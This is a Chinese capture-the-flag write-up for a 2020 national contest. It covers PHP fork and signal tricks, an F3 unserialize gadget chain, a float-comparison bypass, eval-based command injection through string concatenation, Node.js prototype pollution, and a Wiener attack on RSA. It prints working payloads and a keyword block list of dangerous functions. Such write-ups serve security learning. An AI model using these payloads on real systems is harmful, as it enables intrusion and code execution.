2020年国赛初赛的writeup,包含以下题目:
Web的有easyphp、babyunserialize、easytrick、rceme
Crypto的有bd
Web
easyphp
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}
查看PHP手册中关于pcntl_wait
的介绍
wait函数刮(挂)起当前进程的执行直到一个子进程退出或接收到一个信号要求中断当前进程或调用一个信号处理函数。
主进程挂起,等待子进程返回或调用一个信号处理函数。
我们在子进程调用信号处理函数时,主进程就会继续执行。
Payload 1: /?a=call_user_func&b=pcntl_wait
Payload 2: /?a=call_user_func&b=pcntl_waitpid
显示phpinfo页面后看到环境变量中有flag
babyunserialize
用SourceLeakHacker
扫描,扫到根目录下有www.zip
备份文件,打开查看源码。
用Sublime打开解压后的文件夹,会看到左侧栏中会显示修改标记,与上一次git对比修改了哪些地方。
index.php可以看到是一个反序列化。
<?php
// Kickstart the framework
$f3=require('lib/base.php');
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
$f3->route('GET /',
function($f3) {
echo "may be you need /?flag=";
}
);
unserialize($_GET['flag']);
$f3->run();
全局搜索__wakeup
,__construct
,__destruct
这三个魔术方法,看哪个类有可以构造出反序列化链。
./lib/cli/ws.php的第409行,Agent类的__destruct有动态调用,可以当作反序列化链的入口。
class Agent {
...
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
...
再找一个类来赋值,看./lib/db/sql/mapper.php
class Mapper extends \DB\Cursor {
...
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)?
$this->props[$func]:
$this->$func),$args
);
}
这里函数名就可控了,最后Payload如下
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}
namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"call_user_func"],
$adhoc=["phpinfo"=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}
namespace CLI{
class Agent {
protected
$server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=&$this;
}
};
class WS{}
}
namespace {
echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}
这题和WMCTF 2020的webweb几乎一样。
easytrick
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
反序列化出两个变量trick1和trick2,通过三个比较即可拿flag。
要求strlen长度小于等于5,trick1经过string类型强制转换,然后trick1和trick2松散比较和严格比较下都不等,但md5函数输出相等。
刚开始想到的是(string)(array())
和字符串'Array'
相等,但在松散比较下,它们也是相等的,不符合条件。
还有0e
开头的md5值,但这里md5比较是严格比较,行不通。
仔细思考,md5函数接收的参数类型是string,会隐式类型转换为string。而松散比较下,一般也是转换为string进行比较,这里就很难产生一个等而另一个不等的情况。
翻看PHP手册,里面有一段话
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
这里就看到如果是数字,松散比较的时候是转换成数字进行比较
<?php
var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true
手册里还有很多有趣的例子,但我们要找的是松散比较下不等的。
浮点数精度问题,在转换时会出现损失精度,而比较时却没有损失。
<?php
var_dump(strlen((string)0.1)); // 3
var_dump(strlen(0.100000000000001)); // 3
var_dump((string)0.1 !== 0.100000000000001); // true
var_dump(md5((string)0.1) === md5(0.100000000000001)); // true
var_dump((string)0.1 != 0.100000000000001); // true
Payload: ?trick=O:5:"trick":2:{s:6:"trick1";d:0.1;s:6:"trick2";d:0.100000000000001;}
看了其他人的writeup,还可以用NAN
,还有INF
rceme
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
将用户输入用正则表达式/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/
提取,然后替换一些字符串,用eval执行。
那么我们按照这个正则表达式的规范,同时绕过替换过滤即可。
可以用PHP7的特性,字符串后面加括号即可当函数执行,如('phpinfo')()
而字符串可以用句号.连接起来,绕过关键字检测。
Payload: /?a={if:var_dump(('ex'.'ec')('cat /flag'))}a{end if}
littlegame
下载源码,是nodejs的,进入app/route/index.js查看主页面逻辑
const setFn = require('set-value');
...
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
...
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
...
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
主要就这三个API,考虑原型链污染,给Admin增加属性并赋值,就可以通过密码判断。
看到第2行有个路由,定义了setFn函数,进入set-value看看。
在这个网站可以查看各种库是否存在漏洞。
通过./app/node_modules/set-value/package.json可以看到版本是3.0.0
在./app/node_modules/set-value/index.js中,有merge,就可以造成原型链污染
function result(target, path, value, merge) {
if (merge && isPlain(target[path]) && isPlain(value)) {
target[path] = merge({}, target[path], value);
} else {
target[path] = value;
}
}
如果我们传入NewAttributeKey
和NewAttributeValue
,他最终会进行merge()
操作,req
的原型是Object,而Admin
的原型也是Object,修改req的原型,即可实现原型链污染。
通过给/Privilege页面POST参数NewAttributeKey
和NewAttributeValue
{"NewAttributeKey":"__proto__.password","NewAttributeValue":"123"}
注意这里的Content-Type得设置成application/json
然后再POST访问/DeveloperControlPanel
{"key":"password","password":"123"}
即可获取flag
Crypto
bd
原题给的RSA加密脚本
from secret import flag
from Crypto.Util.number import *
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p-1) * (q-1)
while True:
d = getRandomNBitInteger(200)
if GCD(d, phi) == 1:
e = inverse(d, phi)
break
c = pow(m, e, N)
print(c, e, N, sep='\n')
# 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
# 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
# 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
可以发现e过大,则d就可能比较小,导致Wiener Attack维纳攻击,参考链接
解密脚本如下
from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
from Crypto.Util.number import *
def wiener_hack(e, n):
# firstly git clone https://github.com/pablocelayes/rsa-wiener-attack.git !
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
discr = s * s - 4 * n
if (discr >= 0):
t = Arithmetic.is_perfect_square(discr)
if t != -1 and (s + t) % 2 == 0:
print("Hacked!")
return d
return False
c = 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
e = 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
n = 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
d = wiener_hack(e,n)
print d
m = pow(c,d,n)
print long_to_bytes(m)